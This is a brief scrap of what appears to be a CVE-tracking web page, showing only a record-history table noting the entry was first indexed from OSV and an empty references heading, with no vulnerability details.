The JSON record also has the rest of 1 source description.

History

Recorded by Every CVE

Changes recorded by Every CVE
DayChangedSources
First indexedOSV

Upstream dates may differ.

References

MoveEnter Open